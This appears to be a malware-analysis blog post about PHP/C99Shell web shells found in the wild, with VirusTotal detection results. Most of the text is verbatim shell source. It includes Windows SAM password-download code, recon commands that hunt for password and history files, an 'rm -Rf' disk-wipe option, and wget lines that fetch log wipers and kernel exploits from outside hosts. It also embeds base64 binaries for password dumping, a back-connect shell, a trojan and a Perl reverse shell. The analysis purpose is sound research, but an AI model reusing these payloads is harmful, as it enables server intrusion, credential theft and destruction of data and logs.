if (!empty($sql_act)) {echo "<hr size=\"1\" noshade>";}</p><p>
All of these are WebGUI base operations, amazing! Server status (also via WebGUI)
$acts = array("","newdb","serverstatus","servervars","processes","getfile");</p><p
if (in_array($sql_act,$acts)) {?><table border="0" width="100%" height="1"><tr><
ion="<?php echo $surl; ?>"><input type="hidden" name="act" value="sql"><input typ
en" name="sql_login" value="<?php echo htmlspecialchars($sql_login); ?>"><input type
:
$result = mysql_query("SHOW PROCESSLIST", $sql_sock);</p><p>
echo "<center><b>Processes:</b><br><br>";</p><p>
echo "<TABLE cellSpacing=0 cellPadding=2 bgColor=#000000 bor
<td><b>HOST</b></td><td><b>DB</b></td><td><b>COMMAND</b>
Here goes your unix server credentials...
 displaysecinfo("OS Version?",myshellexec("cat /proc/version"));</p><p>
displaysecinfo("Kernel version?",myshellexec("sysctl -a | grep version"));</p><p>
displaysecinfo("Distrib name",myshellexec("cat /etc/issue.net"));</p><p>
displaysecinfo("Distrib name (2)",myshellexec("cat /etc/*-realise"));</p><p>
displaysecinfo("CPU?",myshellexec("cat /proc/cpuinfo"));</p><p>
displaysecinfo("RAM",myshellexec("free -m"));</p><p>
displaysecinfo("HDD space",myshellexec("df -h"));</p><p>
displaysecinfo("List of Attributes",myshellexec("lsattr -a"));</p><p>
displaysecinfo("Mount options ",myshellexec("cat /etc/fstab"));</p><p>
displaysecinfo("Is cURL installed?",myshellexec("which curl"));</p><p>
displaysecinfo("Is lynx installed?",myshellexec("which lynx"));</p><p>
displaysecinfo("Is links installed?",myshellexec("which links"));</p><p>
displaysecinfo("Is fetch installed?",myshellexec("which fetch"));</p><p>
displaysecinfo("Is GET installed?",myshellexec("which GET"));</p><p>
displaysecinfo("Is perl installed?",myshellexec("which perl"));</p><p>
displaysecinfo("Where is apache",myshellexec("whereis apache"));</p><p>
displaysecinfo("Where is perl?",myshellexec("whereis perl"));</p><p>
displaysecinfo("locate proftpd.conf",myshellexec("locate proftpd.conf"));</p><p>
displaysecinfo("locate h00pd.conf",myshellexec("locate h00pd.conf"));</p><p>
displaysecinfo("locate my.conf",myshellexec("locate my.conf"));</p><p>
displaysecinfo("locate psybnc.conf",myshellexec("locate psybnc.conf"));</p><p>}
Seems your WinNT password cannot be cracked by this shell :-)
  $v = $_SERVER["WINDIR"]."\repair\sam";</p><p>
if (file_get_contents($v)) {echo "<b><font color=red>You can't crack winnt passwords(".$v.") </font></b><br>";}</p><p>
else {echo "<b><font color=green>You can crack winnt passwords. <a href=\"".$surl."act=f&f=sam&d=".$_SERVER["WINDIR"]."\\repair&ft=download\"><u><b>Download</b></u></a>, and use lcp.crack+ ©.</font></b><br>";}</p><p>
System passwords breach, disk eraser, log wiper, kernel attack...
OPTION VALUE="uname -a">Kernel version


OPTION VALUE="find /bin /usr/bin /usr/local/bin /sbin /usr/sbin /usr/local/sbin -perm -4000 2> /dev/null">Suid bins


OPTION VALUE="cut -d: -f1,2,3 /etc/passwd | grep ::">USER WITHOUT PASSWORD!


OPTION VALUE="find /etc/ -type f -perm -o+w 2> /dev/null">Write in /etc/?


OPTION VALUE="which wget curl w3m lynx">Downloaders?


OPTION VALUE="cat /proc/version /proc/cpuinfo">CPUINFO


OPTION VALUE="netstat -atup | grep IST">Open ports


OPTION VALUE="locate gcc">gcc installed?


OPTION VALUE="rm -Rf">Format box (DANGEROUS)


OPTION VALUE="wget http://www.packetstormsecurity.org/UNIX/penetration/log-wipers/zap2.c">WIPELOGS PT1 (If wget installed)

OPTION VALUE="gcc zap2.c -o zap2">WIPELOGS PT2
OPTION VALUE="./zap2">WIPELOGS PT3
OPTION VALUE="wget http://ftp.powernet.com.tr/supermail/debug/k3">Kernel attack (Krad.c) PT1 (If wget installed)<
OPTION VALUE="./k3 1">Kernel attack (Krad.c) PT2 (L1)
OPTION VALUE="./k3 2">Kernel attack (Krad.c) PT2 (L2)
OPTION VALUE="./k3 3">Kernel attack (Krad.c) PT2 (L3)
OPTION VALUE="./k3 4">Kernel attack (Krad.c) PT2 (L4)
OPTION VALUE="./k3 5">Kernel attack (Krad.c) PT2 (L5)
And this dangerous mess is detected in VT as per below:
MD5: fcd5b6c2d745270b7cf3ae880d7c914b File size: 185.7 KB ( 190154 bytes ) File name: About-the-UAE.html File type: HTML Tags: html Detection: 18 / 43 Analysis date: 2012-09-29 15:41:42 UTC ( 1 日, 16 時間 ago ) URL:---------->>[VIRUSTOTAL]
↑OK, seems like the more dangerous PHP/C99Shell the lower detection rate will be? (smile), so let's pick the most dangerous one and see what happen! TYPE #3 - The very Dangerous Type of PHP/C99Shell The source was here:
--18:35:55--  http://hechoconmismanos.es/fotos/25271.jpg
=> `25271.jpg'
Resolving hechoconmismanos.es... 217.160.124.120
Connecting to hechoconmismanos.es|217.160.124.120|:80... connected.
HTTP request sent, awaiting response... 200
This is a very sophisticated model. I am sure you'll agree if you see the code.. You can read the below comments by seeing the source code-->>[PASTEBIN] As per above type 1 and 2, this one has additional functions which - the author was so kind (= so retarted) to explain the all functions & future dev:
<?php
/******************************************************************************************
* sniperxcode, a modded sniperxcode, which is a: $count=0; while($count==0){ echo ' mod of a'; }
*
* VERSION 2 BITCH!!!!
*
* By ssniperxcode - the 11-year-old hacker :)
*
* Greetz to all my friends in #lobby
*
* A big, fat "fuck you" to:
* - HellBound Hackers (you're also part of the next on the list, except you can't even deface!)
* - people who deface because they can't root and think they're 1337
* - idiots who add mail() to their shells so they can log your ownages
* - idiots who add mail() to their shells so they can log your ownages and mess up the variables so it doesn't even work!
* - MPAA, RIAA, and all those other arse-hole anti-p2p organizations
*
* lack of money and parental freedom leaves me with no site to advertise xD
*
*
* Newer Mods (added by me) for v2 --
+--------------------------------------------------------+
* fixed a bug where deleting something from a path that has a space in it would return you to an invalid dir
* fixed the *nix aliases where the cmds were in the name and the names were executed :S
* added md5/sha1 file checksums
* removed fgdump (no need for three programs that do the same f-ing thing :P) !!! 1 mb saved !!!
*
*
* Old Mods (added by me) for v1 --
+--------------------------------------------------------+
* added the trojan executer
* cleaned up the interface in general
* added windows login hash grabber + sam/fg/pwdump2
* added mass code injector (thanks SubSyn)
* added pre-compiled h00lyshit and raptor_chown
* added log cleaners for both *nix and windows
* removed all the shitty/non-working functions in the drop-down boxes
* fixed the google kernel thing (the search variables were fuxxed up)
* made the dir listing easier to read with the alternating bgcolors
* little optimizations in code here and there (i'm an optimization whore tbh)
* submit md5/sha1 hash to cracking sites
* made that awesome logo ;)
* added the disabled php functions thing (took from r57shell)
* added better windows/*nix-specific aliases
* cleaned up the safe-mode bypass functions (wow, some of the shittiest code i've ever seen o_O )
* wordlist md5/sha1 cracker
*
* What I Plan to Do Next --
+--------------------------------------------------------+
* smaller size (somehow) :S
* more sploits
* allow input for dir to unpack exploits to
* better trojans/backdoors
* more functions/aliases
* maybe move stuff around/change theme
* make the php picture in the dir listing white for easier readability
* take a first look at the sql section o.O
* remove:
* - more of those stupid spaces after every line
* - more " and change them to ' for faster execution
* - a bunch of other stupid code things (example: echo("$msg"); (wtf... :S))
*********************************************************/
And he "really mean it" with so many improvements, like below details.. Straight forward password dumping code:
$pwdump2="TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAA0AAAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4gaW4gRE9TIG1v
ZGUuDQ0KJAAAAAAAAABe6Dg9GolWbhqJVm4aiVZu8pZdbhuJVm6ZlVhuF4lWbkOqRW4fiVZuGolX
biGJVm7lqVxuG4lWbvKWXG4qiVZuUmljaBqJVm4AAAAAAAAAAFBFAABMAQMA7bzbOAAAAAAAAAAA
4AAPAQsBBgAAUAAAAEAAAAAAAABHHAAAABAAAABgAAAAAEAAABAAAAAQAAAEAAAAAAAAAAQAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
There goes your libc...
$miglc="f0VMRgEBAQAAAAAAAAAAAAIAAwABAAAAIIgECDQAAAA0XAAAAAAAADQAIAAGACgAHgAbAAYAAAA0
AAAANIAECDSABAjAAAAAwAAAAAUAAAAEAAAAAwAAAPQAAAD0gAQI9IAECBMAAAATAAAABAAAAAEA
AAABAAAAAAAAAACABAgAgAQI4DYAAOA2AAAFAAAAABAAAAEAAADgNgAA4MYECODGBAh0AQAAmAEA
:
cmF5X3N0YXJ0AF9JT19zdGRpbl91c2VkAGtpbGxfd3RtcABfX2RhdGFfc3RhcnQAX0p2X1JlZ2lz
dGVyQ2xhc3NlcwBfX3ByZWluaXRfYXJyYXlfc3RhcnQAcmVhZEBAR0xJQkNfMi4wAGtpbGxfbGFz
dGxvZwBfX2dtb25fc3RhcnRfXwA=";
Trojan interraction:
$blackhole="f0VMRgEBAQkAAAAAAAAAAAIAAwABAAAARIYECDQAAACgDQAAAAAAADQAIAAGACgAGAAVAAYAAAA0
AAAANIAECDSABAjAAAAAwAAAAAUAAAAEAAAAAwAAAPQAAAD0gAQI9IAECBkAAAAZAAAABAAAAAEA
AAABAAAAAAAAAACABAgAgAQIAAsAAAALAAAFAAAAABAAAAEAAAAACwAAAJsECACbBAgEAQAAIAEA
:
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAJFRU
Wdfb08/q3OiZ0eXTbpynnqlyfKdzc3NiXaFemV+lYJ1tYVdh1OXK1tbYm9vo02Hp8MnR0+SWzNnY
ZVtSoFJcTlRPp5avqVzj4NrWosfQ1VBaUFrzrZi+wZ2ooauorLiWqJK8rLazkrimo5mVmJq3rquX
tKahmaip8li6s8aGztfv2s7TzFysw7iMwNPh3NrL2FQ=";
Usage of tor...
$raptorchown="f0VMRgEBAQAAAAAAAAAAAAIAAwABAAAAVIQECDQAAACYCgAAAAAAADQAIAAHACgAGwAYAAYAAAA0
AAAANIAECDSABAjgAAAA4AAAAAUAAAAEAAAAAwAAABQBAAAUgQQIFIEECBMAAAATAAAABAAAAAEA
AAABAAAAAAAAAACABAgAgAQIAAgAAAAIAAAFAAAAABAAAAEAAAAACAAAAJgECACYBAggAQAAKAEA
:
AF9faW5pdF9hcnJheV9zdGFydABfX2ZzdGF0AF9JT19zdGRpbl91c2VkAG1hZHZpc2VAQEdMSUJD
XzIuMABzcHJpbnRmQEBHTElCQ18yLjAAX19kYXRhX3N0YXJ0AF9Kdl9SZWdpc3RlckNsYXNzZXMA
ZXhwbG9pdABfX3ByZWluaXRfYXJyYXlfc3RhcnQAX19nbW9uX3N0YXJ0X18A";
Backdoor shell...
$back_connect_c="f0VMRgEBAQAAAAAAAAAAAAIAAwABAAAA2IUECDQAAABMDAAAAAAAADQAIAAHACgAHAAZAAYAAAA0AAAANIAECDSABAjgAAAA4AAAAAUAAAAEAAAAAwAAABQBAAAUgQQIFIEECBMAAAATAAAABAAAAAEAAAABAAAAAAAAAACABAgAgAQILAkAACwJAAAFAAAAABAAAAEAAAAsCQAALJkECCyZBAg4AQAAPAEAAAYAAAAAEAAAAgAAAEAJAABAmQQIQJkECMgAAADIAAAABgAAAAQAAAAEAAAAKAEAACiBBAgogQQIIAAAACAAA
:
hcnQAbWFpbgBfX2xpYmNfc3RhcnRfbWFpbkBAR0xJQkNfMi4wAGR1cDJAQEdMSUJDXzIuMABkYXRhX3N0YXJ0AGJpbmRAQEdMSUJDXzIuMABfZmluaQBleGl0QEBHTElCQ18yLjAAYXRvaUBAR0xJQkNfMi4wAF9lZGF0YQBfX2k2ODYuZ2V0X3BjX3RodW5rLmJ4AF9lbmQAc2VuZEBAR0xJQkNfMi4wAGh0b25zQEBHTElCQ18yLjAAX0lPX3N0ZGluX3VzZWQAX19kYXRhX3N0YXJ0AHNvY2tldEBAR0xJQkNfMi4wAF9Kdl9SZWdpc3RlckNsYXNzZXMAX19nbW9uX3N0YXJ0X18A";
:
$bindport_pass = 'c99'; // default password for binding
$bindport_port = '31373'; // default port for binding
$bc_port = '5992'; // default port for back-connect
$datapipe_localport = '8081'; // default port for datapipe
$back_connect="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGNtZD0gImx5bngiOw0KJHN5c3RlbT0gJ2VjaG8gImB1bmFtZSAtYWAiO2Vj
aG8gImBpZGAiOy9iaW4vc2gnOw0KJDA9JGNtZDsNCiR0YXJnZXQ9JEFSR1ZbMF07DQokcG9ydD0kQVJHVlsxXTsNCiRpYWRkcj1pbmV0X2F0b24oJHR
hcmdldCkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRwb3J0LCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKT
sNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoI
kVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQi
KTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgkc3lzdGVtKTsNCmNsb3NlKFNUREl
OKTsNCmNsb3NlKFNURE9VVCk7DQpjbG9zZShTVERFUlIpOw==";
And I am telling you, this model is improved A LOT:
  array('-----------------------------------------------------------', 'ls -la'),
array('Currently Logged in Users', 'w'),
array('Last User to Connect', 'lastlog'),
array('Find Users Without a Password', 'cut -d: -f1,2,3 /etc/passwd | grep ::'),
array('Is /etc Writable?', 'find /etc/ -type f -perm -o+w 2> /dev/null'),
array('Installed Downloaders', 'which wget curl w3m lynx'),
array('Open Ports', 'netstat -an | grep -i listen'),
array('Box Uptime', 'uptime'),
array('System Variables', 'set'),
array('ARP table', 'arp -a'),
array('Patch Level for RedHat 7.0', 'rpm -qa'),
array('Network Interfaces', 'ifconfig'),
array('Mounted Filesystems', 'mount'),
array('Find Suid Bins', 'find /bin /usr/bin /usr/local/bin /sbin /usr/sbin /usr/local/sbin -perm -4000 2> /dev/null'),
array("Find All Suid Files", "find / -type f -perm -04000 -ls"),
array("Find Suid Files in Current Dir", "find . -type f -perm -04000 -ls"),
array("Find All Sgid Files", "find / -type f -perm -02000 -ls"),
array("Find Sgid Files in Current Dir", "find . -type f -perm -02000 -ls"),
array("Find config.inc.php Files", "find / -type f -name config.inc.php"),
array("Find config* Files", "find / -type f -name \"config*\""),
array("Find config* Files in Current Dir", "find . -type f -name \"config*\""),
array("Find All Writable Folders and Files", "find / -perm -2 -ls"),
array("Find All Writable Folders and Files in Current Dir", "find . -perm -2 -ls"),
array("Find All service.pwd Files", "find / -type f -name service.pwd"),
array("Find service.pwd Files in Current Dir", "find . -type f -name service.pwd"),
array("Find All .htpasswd Files", "find / -type f -name .htpasswd"),
array("Find .htpasswd Files in Current Dir", "find . -type f -name .htpasswd"),
array("Find All .bash_history Files", "find / -type f -name .bash_history"),
array("Find .bash_history Files in Current Dir", "find . -type f -name .bash_history"),
array("Find All .fetchmailrc Files", "find / -type f -name .fetchmailrc"),
array("Find .fetchmailrc Files in Current Dir", "find . -type f -name .fetchmailrc"),
array("List File Attributes on a Linux Second Extended File System", "lsattr -va"),
Added ARP Table, IP config, Net sharing data grabber too...
 $cmdaliases = array( 
array('-----------------------------------------------------------', 'dir'),
array('Active Connections', 'netstat -an'),
array('ARP Table', 'arp -a'),
array('Net Shares', 'net use'),
array('IP Configuration', 'ipconfig /all'),
array('Disk Quotas', 'fsutil quota query '.$pd[0]),
array('Drive Type', 'fsutil fsinfo drivetype '.$pd[0])
The Web GUI of the new functions are as follows (and many more..)

This part↓ is like what TYPE #2 has.. While the detection ratio in VT is:

MD5: 135bd38bc453bb440613196fd51c584e File size: 541.7 KB ( 554744 bytes ) File name: 25271.jpg File type: unknown Tags: php Detection: 31 / 43 Analysis date: 2012-09-29 15:17:15 UTC ( 1 日, 18 時間 ago ) URL:---------->>[VIRUS-TOTAL]
The moral of this post is: 1. PHP/C99Shell Malware is not dying, it raised with better function 2. The Infection of C99Shell arise again from Sept 28th 2012 2. Someone must put attention to PHP/C99Shell commercial development 3. [BEWARE] The integration/connection between this malware with Exploit Kit is started to be detected !!NEW!! IMPORTANT! Additional: New type are also found as per days gone by... here are additional (new type): 1. Please see decode part of the obfuscated .C code as per tweeted by @Cephurs: 2. Please see the decode part of obfuscated ELF binary as backdoor by @MalwareMustDie: 3. Please see the ELF server hack exec binary wrapped in TGZ as/mentioned by @KennyMacDermid: